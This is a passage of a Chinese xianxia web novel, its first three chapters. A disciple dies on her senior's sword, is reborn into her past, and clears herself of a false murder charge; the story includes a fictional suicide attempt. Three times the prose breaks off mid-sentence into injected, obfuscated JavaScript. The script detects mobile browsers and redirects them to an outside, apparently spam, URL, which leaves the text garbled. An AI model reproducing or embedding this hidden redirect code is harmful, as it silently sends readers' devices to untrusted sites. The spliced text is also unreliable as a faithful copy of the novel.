《不要和师兄谈恋爱!》 1. 第 1 章 对上师兄的目光时,纪楚无比清晰地意识到: 师兄这次是真的生气了。 虽然她过去没少惹师兄生气,但鲜少见到一贯淡然的师兄露出这样显而易见的愤怒神情。 那双黑而沉的眸子像是结了冰,寒气刮得她脸颊生疼,失望、痛心等等复杂情绪蕴藏在他眸中。 方才他诧异之下,被她忽然爆出的魔气所伤,竟身形一晃,险些站立不稳,却还是死死盯着她的脸,语气凌厉森然: “谁干的?” 纪楚匆忙侧身拉上斗篷,将脸上的伤疤挡住。 她动手自毁时坚决愤懑,此刻对着师兄的目光,却头一回感到委屈难过。 以及怎么都压不住的自卑和羞愧。 她不想让师兄看见她这副丑陋的样子。 故而在师兄上前想要碰她的脸时,猛然出手用魔气将他困在原地。 师兄竟没能躲开。 纵使被魔气困着,他也只顾着用那双又黑又沉的眸子死死盯着她被斗篷挡住的面容,目光冷厉,似能穿透那一层薄薄的布料,看到她拼命想要遮挡的、丑陋的疤痕。 纪楚心里难受极了,像一千只蚂蚁在心口乱爬。 她最怕师兄用这样的目光看她。 这宗门里任何一个人都可以看不起她,但师兄不能。 她不知道为什么,但是师兄就是不能。 纪楚攥紧手心,垂眸避开师兄的目光,语气生硬: “我没有入魔。” “那你现在在做什么?” 孟喻辞目光如剑,声音寒凉: “对同门动手,对自己师兄动手……对我——动手?!” 一句接一句的质问压得纪楚抬不起头,说到最后的时候,她已浑身僵硬,但仍梗着脖子,不肯露出丝毫脆弱的表情。 “对不起,师兄,但是我今天必须走。” 孟喻辞被魔气压着,愤怒之下,本就躁动不安的灵力在他体内疯狂冲撞,被他死死压住,经脉几乎碎裂,血腥味漫上喉咙。 他闭了闭眼,长而浓密的鸦睫盖下,将那双墨玉般的眸子掩住,也将所有暴戾情绪压下。 “你当真要走?” 纪楚并不觉得自己这三脚猫的功夫能困住师兄。 若非占了这股魔气的便宜,打了他一个猝不及防,只怕她早被师兄捉了回去。 故而说话的功夫,她一直保持着高度的警惕,一边搜寻脱身之法。 此刻骤然听见师兄松口,神情不免有些怔愣。 孟喻辞睁眼,神情已恢复了平静。 乌发垂落,如一捧流畅月光坠在青松般疏朗的背脊后。 魔气似兽类走投无路下暴露出的尖锐爪牙,攀附在他周身,企图将那株苍松竭力扳折。 他面色冷清,冷玉似的面庞看不出丝毫狼狈,乌黑双眸如淬了寒冰的墨玉,平平望来,反倒显得拼尽全力才能困住他的纪楚更加弱势。 纪楚努力克制着自己心里的难受和恐惧,迎着他冷淡的目光,重重一点头。 她不敢出声,怕自己一张口,就暴露了声音的颤抖。 孟喻辞见状,心里那份柔软彻底消失,看向纪楚的目光是前所未有的冰冷,仿佛在看一个不知悔改的陌生弟子。 “入魔叛宗,罪无可恕。” 他声音森严冷酷,再度变成了那个高高在上、漠然观世的无情剑修。 “纪楚,若你今日离开,便是与我为敌,来日——我必杀你!” 尾音落下,杀气凛然,周身剑气忽增,少微剑感知到主人的心里的杀意,发出阵阵嗡鸣。 魔气惧怕这份杀意森然、寒气彻骨的剑意,本能想要逃窜。 她因而手腕一抖,差点按不住师兄,险些脱手。 体内那东西感知到孟喻辞身上的剑意,匆忙对她大喊: “还不快走!等着他杀你吗?” 魔气被剑气割碎的瞬间,纪楚猛然转身,背后魔气及时凝出一个阵法。 她一跃而入,身影瞬间消失在孟喻辞面前。 周身束缚散去,孟喻辞终于坚持不住,张口吐出一口鲜血。 血色鲜红,衬得他面色更冷更白。 几滴血珠落在纯白衣襟上,如雪地红梅,傲然,却也孤寂。 压制灵力多日,他早已是强弩之末,本就是拼着一口气来拦她,却还是拦不住。 难为她惧他至此,跑得如此慌乱决绝…… 劫云在他头顶聚集,电闪雷鸣蕴藏其中,瞬间封死他所有退路,欲将这胆敢压制灵力修为、企图躲避雷劫之人劈个粉碎。 他却懒得抬头看上一眼。 孟喻辞敛眸,目光始终落在纪楚匆忙逃跑的方向,心里荒凉。 他看着长大的师妹,竟也走到了这步吗? * 纪楚摔到地上,原地滚了一圈才撞到柱子停下。 斗篷掉落,露出一张苍白秀美的容颜,双眸圆而黑亮,映出纯粹澄澈的光。 然而她一路奔逃,乌发披散,姣好的面容更是被一道狰狞伤疤毁了大半,满地碎石扎破手臂和膝盖,衣襟染血,形容狼狈。 魔王高坐上首,对突然出现的她略显惊诧。 “这不是纪楚小师妹吗?怎么找到这儿来的?” 阴冷目光划过她脸上的伤痕,“啧”了一声,挑眉笑道: “……还成了这副难看样子?” 纪楚忍着身上的痛,从地上爬起来: “你到底是薛羡尘,还是魔王?” 魔王嗤笑一声收回视线,并不回答她的问题。 魔气与灵力在他胸口运转,似在找寻一个平衡。 待他与神骨合二为一,天地之间,哪里还有人配他施舍半个眼神? 至于纪楚,不过一卑微蝼蚁,碾死都没有声响。 纪楚体内那东西道: “他要和神骨合二为一!魔神出世,六界之内将无人可挡!” 纪楚本就是为此而来的,不等它提醒就已经动手,魔气直冲上首魔王而去。 她虽修为一般,魔气用的也不顺手,却在体内那股力量的帮助下,成功将魔王身形打得一顿。 融合神骨被打断,魔王猝然睁眼,转向纪楚方向。 纪楚一击不停,两手结印,再度朝他攻去。 魔王抬手轻松挡下。 端详她几眼后,忽而抬手,隔空掐住她的脖子朝自己跟前一拉。 纪楚扑倒在他座椅下。 魔王掐住她的脖子逼她抬头,目光阴冷似毒蛇,一寸一寸爬过她面上伤疤: “真是自寻死路……” 纪楚被他卡着脖子呼吸不畅,只能两手攀着他手腕朝外掰,艰难问道: “是不是你……杀了许盈?” 魔王眉间一道深红魔印,闻言勾起唇角,秀美俊朗的容颜多了几分邪魅诡异: “是又如何?你是来报仇的?” 纪楚眼里涌上不加掩饰的恨意,手上灵力直冲他面容而去。 魔王随手一挥,便将她右手打落,而后缓缓收紧手掌,满意地看着她脸颊被憋的越来越红。 手掌微屈,指腹如蛇,冰冷阴森,沿着她脸上伤疤一点点朝下滑落。 纪楚忍不住微微颤抖。 “原本觉得你这张脸十分恶心,如今毁了,竟瞧着顺眼不少。” 魔王眼神中是不加掩饰的欣赏和兴味,滑到她下巴上的手不停,顺着她脖颈继续往下。 纪楚冷冷出声: “和薛晚凝相似的脸,我用着也恶心。” “薛晚凝”三个字如同一道禁令,魔王顿时失了兴趣,眼里再度浮现厌恶,将纪楚朝一旁一甩,活像碰到了什么脏东西: “你连姐姐一根头发丝都比不上。” 纪楚摔在一旁,松了口气,道: “你这种假冒别人弟弟的魔头,在薛晚凝眼里,又算得了什么呢?” “你找死?” 魔王的目光一下子变得冰冷无比,周身魔气暴涨,却在他心口出现了一小块空缺,莹莹灵力藏匿其中。 神骨! 纪楚的眼神冷了下去,长剑自她手中骤然出现,重重捅进魔王心口。 魔王暴怒,意识到她想抢神骨,果断抬手一掌打在她腹部。 纪楚吐出一大口血,却死死握着剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074454|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柄朝更深处捅去。 眼看就要被挖走神骨,魔王却忽然笑了起来,语调古怪: “孟喻辞怎么舍得让你变成这样?还落到我手里?” 骤然提起师兄,纪楚的脸色有些僵硬,听见他继续道: “你出现在这儿,看来他是快撑不住了……” “你说什么?” 纪楚猛得抬眼。 魔王恶意笑笑: “你不知道吗?你的师兄,孟喻辞,快要历劫了。金仙雷劫,九死一生,而他这种压着灵力迟迟不肯历劫的修士,又有几分生机呢?” 话音刚落,远处天边忽然响起一道惊雷,似穹顶塌裂,星辰坠地,天地为之一颤。 纪楚忽然想起师兄苍白的脸色,握剑的手下意识一抖。 魔王继续说道: “以他的性格,怎会让你独自来此?定是你出手伤他,致使他心灰意冷……真是可悲啊,历劫在即,竟被自己的师妹捅了一刀,只怕是死也不能瞑目了……” 天边惊雷一道接着一道,携带天崩地裂之势,震得纪楚快要握不住剑柄。 魔王看她面露惶惑,得意一笑,暗中汇聚魔气绕自她脑后,正待一击之时,心口忽然一阵剧痛。 是纪楚松开剑柄,徒手抓住了他藏在心口的神骨。 魔王身形一僵,脸上的笑容凝固。 神骨这东西,触之便生恶念,连他都会受其影响,偏纪楚神思清明,目光澄亮。 她握着神骨,看到魔王身上的魔气不但没有消退,反而以更加汹涌的速度暴涨,顷刻便将周边一片都笼在黑暗中。 纪楚握着神骨,一时间却无法从魔王心口抽回手,只觉自己的神魂好像被吸住了一样,周身灵力朝着手中神骨涌去,魔气与灵力在她和魔王中间疯狂流转。 魔王大睁着双目,却有赤金之色自眼眶蔓延而上,将眼白全数覆盖。 ——一双赤金无眸的诡异双眼! 距离最近的纪楚视线与之相对,一下子怔住了。 那一瞬间,天地静音,仿佛全身的血液都在朝双目汇聚,体内的灵力被那双赤金双瞳隔空吸引着,几乎要破体而出。 “献……吾……” 沉闷的声音仿佛自天边而来,敲击着她的耳膜,分明听不清晰,却好像每个字都直接撞击着她的头颅。 纪楚下意识觉得危险,却无法摆脱这股自四面八方涌来的压迫感。 她觉得双目痛极,却无法合上,只能被迫与之对视,心脏仿佛被人徒手捏爆,神魂几乎要被生生抽出,她眼角溢出血线。 便在此时,身后忽然传来一道凌厉剑风,纪楚心口一凉,剧痛随后袭来。 一柄素色长剑自身后穿透了她的心脏。 她因此摆脱了金色眼睛的控制,下意识垂眸,看向自她体内捅出、尚带着斑驳血迹的剑身。 看清长剑的瞬间,她一下子睁大了眼睛。 银纹流光,星罗棋布,太微垣西南方向,四星列南北。 少微剑。 师兄的剑。 ——她竟真的死在师兄剑下。 几乎同时,纪楚后颈处忽而传来滚烫的触感,像岩浆自灵魂骨缝中流淌,又仿佛有什么东西在生根发芽、破土而出。 在她看不见的地方,身后凭空浮现一朵半开的花苞,蓝白两色花瓣层层叠叠铺开,如水中冰晶,或隐或现,自她身后闪起出清丽纷繁的光,冲破寰宇。 濒死之际,纪楚脑海中浮现的却是:少微剑出现,师兄一定是历劫成功了…… 庆幸之余,她却又生出几分怅惘和不甘来。 为什么给了她接触大道的机会,偏偏又让她经脉滞涩,注定修行无果? 为什么让她见到沈恪、见到许盈,见到师兄,偏偏又让她步步踏错,亲眼目睹失去? 如果她能更聪明一点,更厉害一点,是否就能护住好友,守住神骨? 如果…… 如果一早便知道,任性到最后的结局,只能是和师兄彼此生厌、刀剑相向,她当初一定不会选择招惹师兄,给他的大道上平添自己这份污点。 可惜。 没有机会了。 2. 第 2 章 纪楚是被人摇醒的。 “……快醒醒……纪楚!” 她猛地睁开眼,发现自己正跪坐在地上,躯干麻木,好像不是自己的。 回神的同时,脖子因长时间歪斜而酸痛不已的感觉立马传了过来。 她下意识按住脖子,随即颈后凸起的骨头处便传来一阵剧烈的灼烧般的滚烫感,当即疼的她一头砸到了地上。 这举动把摇醒她的人吓了一跳,许盈惊慌的声音传来: “纪楚!你怎么了!” “我……没事……” 纪楚下意识开口,旋即又意识到不对。 她不是已经死了吗,怎么还会感觉脖子疼?甚至好像还听见了许盈的声音? 她蹙眉,抬手摸了摸自己的心口,没有血洞。 许盈见她还活着,松了一口气后,语气再次变得焦急: “他们说你杀了袁复,执律堂的人已经快到这儿了,你怎么还在睡觉……” “袁复是谁?” “我现在又是在哪?” 纪楚从地上爬起来,左右看了一圈,又低头看了看自己的打扮,最后面向许盈,仍有些不可思议: “你……你真的是许盈,而不是什么鬼差妖魔假扮的吗?” 面前少女身材匀称,五官精致,气质明媚,长而卷翘的睫毛下一双春水盈盈多情目,看人时总像在放电,美的明艳大气,光彩夺目。 然而听见她的问题,那双漂亮的眼睛立马充满了担忧紧张。 许盈一边伸手摸她的额头,一边念叨着: “完了完了,纪楚,你不会是被沈长老罚跪了一整天,跪傻了吧?” 没摸到发烫的征兆,她又一脸怀疑地捧着纪楚的脸左右看了看,语气心疼中加着庆幸: “还好还好,只是瘦了点,人还是好看的……” 这语气,除了许盈没人会和她这样说话。 她真的是许盈! 纪楚先是一喜,随后想起来什么,推开许盈的手,神色有些怔怔: “我这是又在做梦吗?” 见许盈一副着急却又找不到机会开口的样子,纪楚只得先按下心里的困惑,问道: “所以……现在是什么情况?” 许盈便收了打闹语气,正色道: “不开玩笑了。袁复,炼器堂弟子,今天早上被人发现弟子命灯灭了。有人举报,说昨夜看见你一个人出门去了炼器堂方向。” 纪楚回忆一番,记忆里确实有这么件事,不过那是她拜入拂宇仙宗第二年末发生的事了。 虽然当时执律堂第一时间怀疑她是凶手,后来却也还了她清白。 至于怎么还的…… 不记得了。 时间久远不说,比起之后她在这里诸事不幸、骂名加身、众叛亲离、魂飞魄散的悲惨未来,这次的“被人诬陷”实在是件太过不起眼的小插曲。 如果许盈不提,她险些都要忘了。 只是现在…… 纪楚低头看了看自己的手,腕骨突出,苍白消瘦,指腹上还留着学琴后的伤疤。 并没有被剑刃划伤的鲜血淋漓。 ——怎么看都是很多年前的样子。 一个念头倏忽冒出来:难道——她重生了?! 纪楚倒吸了一口凉气。 她抬手在自己脸上摸了一圈。 ——没有伤疤,也不疼。 她好像真的重生回到了过去! 心口似乎还残留着被“少微剑”穿心而过的痛和绝望,她人却已经回到了一切还未发生的时候。 这时候许盈还活着,魔王还没有出世,而她刚知道沈恪救她的真相,虽苦闷,却尚未来得及做出那些错误的选择,更没有满身骂名和满腔恨意,甚至…… ——还不认识师兄。 不知怎的,一想到这一点,纪楚下意识在心里松了一口气。 再看向许盈时,她心里盛了满当当的欣喜,一把抱住了许盈: “太好了,许盈,能见到你,真是太好了!” 许盈不明所以,伸手拍了拍她的背,边嘟囔道: “怎么被人诬陷了还这么开心……” 纪楚用力抱着她,强调道: “真的很开心!” 许盈:“好的好的,你开心最重要……” 纪楚沉浸在“重生回来”、“一切还未发生”的惊喜中,至于什么“诬陷”不“诬陷”的,她根本没空去想。 许盈也看出了她的意思。 虽然她觉得纪楚应该为自己的清白努力一番,但既然她不想管,那就算了。 或许这就是“清者自清”的底气吧。 许盈佩服纪楚的定力,索性也不再劝,只道: “算了不管了,反正有沈长老在,定然不会叫执律堂抓你的——” “沈长老”三个字仿佛有魔力一般,原本只想听之任之的纪楚猛地松开抱着她的手,神情凝重,态度大变: “我要去执律堂。” 怀里一空的许盈:“?” 纪楚忽然改变主意,不是因为担心自己被诬陷被抓,而是因为她想起来: 上辈子执律堂之所以没有来抓她,并非因为她的“清白”天下皆知,而是因为沈恪在她不知情的情况下传信给执律堂: “他沈恪的人,就算杀了人,也轮不到执律堂来罚。” 这句话一出,再也没人敢去追究她是不是杀害袁复的凶手。 或者说,所有人都默认了,她就是杀害袁复的凶手。 不但如此,整个拂宇仙宗上下,“纪楚是沈恪的人”的传言一天之内传的人尽皆知。 所有人都知道,新入门的纪楚,和沈恪沈长老关系暧昧不清不楚,不能招惹。 她不但没能证明自己的清白,反而背了个“上头有人,所以无法无天,连杀人都不用负责”的恶名。 自此之后,什么坏事恶事,分明不是她做的,但只要怀疑到她头上,就全都成了她干的。 不论执律堂怎么声明凶手另有其人,大家都会默认事情是她做的,执律堂的声明全是因为屈服于沈恪的淫威。 而她没被罚,也不过是因为沈恪包庇,所以无人敢罚。 …… 死前发生了那么多事,老天却偏偏叫她重生到这一日,很难说不是对她的提醒和警示。 ——她必须得行动起来! 一想到这些,纪楚就一刻都等不及了,当即就从地上爬起来,要去执律堂当面对峙。 然而她跪了太久,两条腿早就不听她使唤。 刚一起身,又重重摔了下去,比刚才还严重,直摔得她眼冒金星,趴在地上半天反应不过来。 许盈被她吓了一跳: “你怎么样?” 她上来扶她,看她这般四肢无力的模样,不由得心软道: “还是别去了,你本来就瘦弱,还被罚跪了这么久,还是先休息会儿再说吧。” 看见纪楚趴着没动,她又补充了一句: “我来的时候看见执律堂的人已经快到了,兴许沈长老已经帮你把事情摆平了呢?” 哪知她刚说完这句话,就见原本还瘫在地上动弹不得的纪楚一下子睁开眼睛,挣扎着双臂,作势要往门口爬: “我不需要休息!我还能坚持!” 许盈:“!” 她哪能真看着纪楚爬过去,赶忙召出自己的佩剑,将纪楚从地上拽起来: “快别爬了,我带你飞过去。” 纪楚靠在她身上: “要快!” 许盈点点头,双手掐诀,丹雨剑腾空而起,随后如流星一般,瞬间飞了出去,在半空中留下了一道长长的拖尾。 山下,明务堂弟子抬头看着天上的剑光,拿起笔在本子上记了句: “许盈,纪楚,内门御剑超速,各扣十分。” 刚写完,又见一个执律堂弟子御剑飞来。 他抬手将人拦下,在本子上记: “又来一个超速的,扣二十分。” 赶着回执律堂传话的弟子顿时不乐意了,停下来理论: “凭什么她们扣十分?我扣二十分?” 明务堂弟子面无表情: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074455|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “知法犯法,罪加一等,亏你还是执律堂的人。” 急着传话的弟子吃了一瘪,气冲冲踩上剑,以限定速度飞走了。 纪楚和许盈二人因此比他早一步赶到执律堂。 纪楚一下剑便直冲向门口的弟子: “袁复之死怀疑我是吧?我来配合调查了,我是冤枉的。” 许盈也急忙收起剑追上来: “是啊师兄,我作证,纪楚根本不认识袁复,不可能杀他。” 门口的弟子看看两人,一脸无语,将纪楚“请”进了执律堂。 许盈作为“亲朋”,被拦在门口。 她一脸焦急地在门口转圈,又时不时停下来朝里面张望,门口的弟子忍不住道: “别转了,她如果是清白的,执律堂自然不会污蔑她。” 许盈白了他一眼,忽然想到了什么,又换了副面孔,凑近这弟子,梳理了几下自己垂落的头发,边说: “多谢师兄提醒,刚刚是我太过心急了……” “只是袁复的死牵扯到纪师妹头上,实在太过奇怪,不知是谁误会了她,叫来问问,我们也好当面说个清楚……” * 执律堂内,纪楚站在屋子正中央,面色苍白,双腿因跪了一天而有些站不稳,但看不出丝毫惊慌。 “我确实在昨夜出门,但并未去炼器堂,更没有见过袁复。” 执律堂堂主严浩打量着她,语气很凶: “谁能作证?” 纪楚道:“无人作证,我是一个人出去的。” 严堂主语气带着压迫感: “荒唐!既无人作证,怎敢自言清白?” 纪楚不解: “堂主这话说的不对,那旁人一面之词,如何就能证明我杀了人呢?再说了,正因为我无辜被冤,所以堂主才更得查清案件,为我做主。” 她上辈子被沈恪要求静言修心,留给外人的印象多是内向少言、不爱交流,后来越来越多的屎盆子扣在她身上,那一份“内向”却也变成了“阴郁”。 此刻不卑不亢直言相告,反而更容易让人信服。 严堂主面色松动几分,问她: “既如此,你昨夜去了哪,做了什么?一一说来,我着人去查。” 纪楚闻言却沉默。 严堂主见状,眼神再次充满怀疑: “你说不出来?” “不是。” 纪楚否认。 她面色苦恼,解释道: “我虽没有杀人,去做的事却也不算正大光明,所以才会迟疑。” 说完,她似乎有些不好意思,摸了摸鼻子: “我去悬鹤峰砸琴了。” 悬鹤峰,砸琴。 这两件事合在一起怎么听怎么不着调。 但纪楚言之凿凿,还伸出两只手给他看: “沈长老要我练琴,可我实在不喜欢弹琴,怎么都学不会,还弹的满手都是血。一气之下,连夜把琴拖到悬鹤峰砸了。” 严堂主闻言看去,确实看到她十指鲜血淋漓,伤口细长,是琴弦所致。 纪楚又接着说: “不瞒堂主,我之所以这般走路都走不稳的样子,就是因为砸琴惹怒了沈长老,这才被罚跪了一天。” 严堂主听闻后,不禁在心里叹道: 沈长老平日看着温润如玉、进退有度,谁想私下教导弟子时,竟是这么个偏激性子。 音律一道先谈自娱,而后才谈苦修。纪楚到底不是他的弟子,何苦非逼着人学琴,还学到这般地步呢? 他心下已经偏向了纪楚,但仍按照规矩道: “这些都只是你一面之词,具体真相如何,我尚需派人调查……” 他还没说完,便见一个弟子匆匆跑来,附在他耳边说了句什么。 严堂主登时睁大双眼,看着十分震惊,连让纪楚“先回去”都来不及说,急忙跟着那个弟子从另一扇门出去了。 甚至他出门前还专门整理了一下衣摆,像是要去见什么了不起的大人物。 留下纪楚原地茫然。 3. 第 3 章 纪楚心中忐忑,总疑心是沈恪的消息已经传了过来,她的名声又要开始变烂,不免焦躁起来,甚至想要闯进门后看看到底发生了什么。 只是她膝盖痛得发麻,刚挪动到门口,严堂主就闪身从门后出来,挡住她的视线,面带质问: “你在干什么?” 他上下打量纪楚一番,表情有些说不上来的古怪,像是在看什么罕见奇观: “有人给你作证,袁复死时你确实在悬鹤峰,与炼器堂并非同一方向,你可以离开了。” 纪楚站定,正待解释“沈恪说的都是屁话,你们不要管他”时,忽然意识到严堂主说了什么。 她一下子有些懵,一脸的不相信: “有人给我作证?怎么可能啊,悬鹤峰是禁地,无令不得靠近,怎么会有其他人看见我啊?” 严堂主瞪她一眼: “你还知道悬鹤峰是禁地?虽没杀人,但擅闯禁地,该扣的分我会告诉明务堂扣除的。” 说完,他一拂袖,转身走了。 纪楚的目光跟着他的身影飘到门后,隐约看见有个人站在那里,身姿挺拔如松竹,似乎在看着她的方向。 她心里莫名一空,后颈处忽而又传来滚烫的感觉,转瞬即逝。 纪楚一头雾水地出了执律堂。 许盈等在门口早就不耐烦了,见人出来,一把拉着她站上了剑,“嗖”的一声飞上了天。 纪楚猝不及防间,吃了一嘴冷风,听见许盈在前头说: “我就知道!好端端的谁会污蔑你,果然是薛羡尘那个贱人!” 她御剑加速: “走!我们现在就去打死他!” 纪楚咳嗽了几声,缓过神来: “原来是他啊。” 薛羡尘,薛晚凝的弟弟。 她也是后来才知道,沈恪之所以带她回拂宇仙宗,全是因为她长了一张酷似薛晚凝的脸。 对沈恪而言,她就像是一个酷似薛晚凝的摆件,放在面前时刻把玩,以表追思。 摆件是不可以有自己的思想的,更不可以不像本人。 所以她必须得像薛晚凝一样,说话柔声细气,身材纤弱如丝,尤其是,得学她最擅长的琴。 怪不得上辈子她砸了琴以后,沈恪就像变了个人似的,忽然对她厉声呵斥,还罚她一跪就是好些天,之后更是频频看她不满,忽冷忽热的态度让她终日困惑不已。 至于薛羡尘,世人都以为他薛晚凝的好弟弟,修真世家的二公子,拂宇仙宗上上下下都对他格外庇佑。 但纪楚与他斗了一辈子,深知此人表里不一,心狠手辣,为了姐姐什么事都做得出来,遑论杀人夺宝。 前世最后,她已经可以确定: 薛羡尘,是一个从小觊觎姐姐,因而憎恨她这个替身入骨的,魔。 至于一个魔为何能堂而皇之地站在拂宇仙宗地界上,还能不被人发现,她就不知道了。 总之,这一盆脏水泼到她头上,果然不是没有缘由的。 想明白这些后,纪楚反而不像许盈那么生气了。 她拉了拉许盈的袖子: “我饿了,我想去吃饭,吃大鱼大肉,吃火锅涮菜!” 许盈睁大眼睛,下意识左右看了看,确认周围没有其他人,这才震惊发问: “你不是说沈长老不让你吃这些东西吗?” 沈恪不许纪楚吃这些人界吃食,因为薛晚凝不喜欢。 纪楚不敢顶撞他,只能生生忍着,分明已经辟谷,可思念美食成疾,竟看着比入门前消瘦许多。 如今的纪楚死过一次,哪里还想再管沈恪,只道: “可我现在就是特别想吃,吃不到就要饿死了。” 或许是她一脸虚弱的模样看着实在可怜,许盈二话不说调转剑身,飞速带她冲到了膳堂。 修行之人大多辟谷,不再贪恋这些口腹之欲,只外门弟子中不能辟谷的会来吃饭,故而膳堂总是冷冷清清。 纪楚独占一大张桌子,许盈去端了碗面的功夫,桌上一半饭菜已经见底。 许盈目瞪口呆: “纪楚,你这是……” 纪楚抬头,有些不好意思: “我吃太多了吗?” “怎么会!” 许盈在她身边坐下,眼泪汪汪: “你进宗门前脸上还有些肉,看着很是可爱。谁知入门后便越来越瘦,下巴尖的可以戳死人……” 说完,她很是感慨: “终于看见你大口吃饭了!我好幸福!” 纪楚:“……” 她又往嘴里塞了一个包子。 模仿薛晚凝,真的好痛苦。 薛晚凝是修真世家的大小姐,端庄优雅,温婉贤淑。 而她过去只是一个普通凡人,行止坐卧只讲究随性自在。 硬生生把自己套进不适配的壳子,犹如削足适履,痛不欲生。 只是她一个人来到宗门,能依靠的唯有沈恪一人。 越像薛晚凝,沈恪待她就会越和善。 为了这点廉价的善意,她竟也违背本心,生生坚持了许久。 一想到前世她拼了命讨沈恪欢心,他最后却还是毫不犹豫将她抛弃,纪楚便气的牙痒痒,又啃了一根鸡腿。 许盈全程都在用“慈爱”的目光看着她,看她吃了半天,忽然说了句: “纪楚,我怎么觉得,你好像有点不一样了。” 纪楚大吃大喝的动作放缓,她看向许盈: “哪里不一样?” 许盈凑近,仔细端详她的脸。 纪楚一动不动,由着她看。 半晌,许盈才道: “说不上来,但是变得比以前更好了。” 纪楚忍不住笑起来。 许盈于是十分激动地说: “没错没错,就是这样!” 她叹道: “以前我就想说了,沈长老再好,到底比不上你自己,何苦为了他的喜好委屈自己呢?” 纪楚闻言,心中感慨万千。 她与许盈的友情,一开始也源于沈恪。 许盈平生最爱美男。 宗门之中,沈恪沈仙君是出了名的好样貌,长眉凤眼高鼻薄唇,端的是无双君子,清朗俊逸,待人接物如春风化雨,宗门不少弟子都喜欢他,许盈也不例外。 因着纪楚是沈恪亲自带回拂宇仙宗、指定选入内门的,许盈便找到了纪楚,时不时打听些有关沈恪的事。 一来二去,她二人关系逐渐好了起来,连着两世,许盈都是纪楚难得亲近的好友。 想到许盈最后惨死的模样,纪楚心里便一阵阵难过。 她郑重道: “许盈,这一次,我肯定不会再犯傻了。” 许盈为她突如其来的郑重吓了一跳: “你怎么了?纪楚,是不是发生什么事了?” 纪楚摇了摇头,避重就轻说: “只是做了个噩梦。” 许盈拍拍她肩膀: “不怕不怕,噩梦都是假的。” 纪楚点头: “你说得对,这次肯定不一样。” 说完,她仰面倒了下去。 许盈:“???!” * 延医阁。 谈知长老面无表情地做出诊断: “灵力冲击,经脉受损,人没死算你命硬。” 纪楚:“……” 许盈炸毛: “什么?!执律堂他敢滥用私刑?” “谢谢谈长老。” 纪楚接过谈谈知递来的丹药,一口吞了,欲言又止: “……不是。” 这事还得从她去悬鹤峰砸琴开始说。 悬鹤峰地处偏僻,山峰陡峭,又是禁地,寻常无人靠近。 纪楚在拂宇仙宗的日子并不算好,虽收于掌门名下,却是跟着沈恪修习。 沈恪一开始也是对她“很好”的。 知晓她失去家人,心中忐忑,便替她推了诸多弟子课业,时时将她带在身边,温声细语,好不周到。 她入宗门多日,却连同门都认不出几个,只能被迫依赖沈恪一人。 直到那天,薛羡尘“无意”告诉她,沈恪之所以救她,全是因为她长了一张酷似薛晚凝的脸。 “我姐姐琴艺天下闻名,你苦学多日,也不过东施效颦,可笑至极。” 她心中惶恐,又自知于琴道实在没有天分,便壮着胆子提出“不想学琴”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074456|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈恪听她说完,脸上仍挂着温和从容的笑,说出的话却让心惊: “琴最衬你,你应该喜欢的,不要辜负了你的好样貌。” 她一时冲动,当场质问他:“是否是因为薛晚凝擅长弹琴”,沈恪脸上的笑意凝滞片刻,语气冷了几分: “这些话,以后不要再说。” 绝望之下,纪楚一个人抱着琴爬了足足一千两百级台阶,爬到了悬鹤峰顶。 她原本是想自绝的。 一个全家都被妖魔所害的凡人,撞了大运,被拂宇仙宗的长老看中救下,带回仙界悉心教导,却只是因为这张脸。 她从前在家中也曾备受宠爱,如何能甘心做个“替身”?! 悬鹤峰顶冷风呼啸,山下雾气迷蒙一片混沌,什么也看不清。 她觉得这地方很好,适合她安安静静离开。 纪楚闭上眼,壮着胆子一跃而下。 本以为这条命已经到头了,谁知却撞上了一道无形的气墙,将她又弹回了原地。 纪楚伸手摸了摸,摸到了一层厚厚的结界。 自绝的勇气转瞬即逝。 她没庆幸自己还活着,而是觉得连结界都在和她作对,逼她回去继续弹那个没完没了的破琴。 一气之下,她抱起琴砸向虚空。 这一砸用了她全身力气,沈恪赐予她的名琴“桐君”应声裂开。 而面前的结界也忽然爆发出强大的灵力,自撞击之处生出缺口,更为澎湃的灵力自那缺口中迸发出来,直将她整个人打飞数尺。 彼时日月交替,晨光熹微,雾气散开的同时,一轮耀眼的金乌自云层中一跃而出,将那裂成蛛丝一般的结局照得灿若琉璃。 纪楚顿时忘了自己刚刚还在想着自绝的事,只顾着为这惊心动魄的景色所震撼,久久不能言语。 后来她谁也没说,擦干脸上的泪水,抱着裂开的琴又默默下了山。 沈恪见着琴毁,当场态度大变,两年来第一次厉声喝斥她“心性暴虐、不配修行”,将她赶去罚跪。 一跪就是好几日,错过了澄清流言的机会,也错过了修补经脉的最好时机。 想来这“灵力冲击、经脉受损”,便是因着结界被砸破时的那一击了。 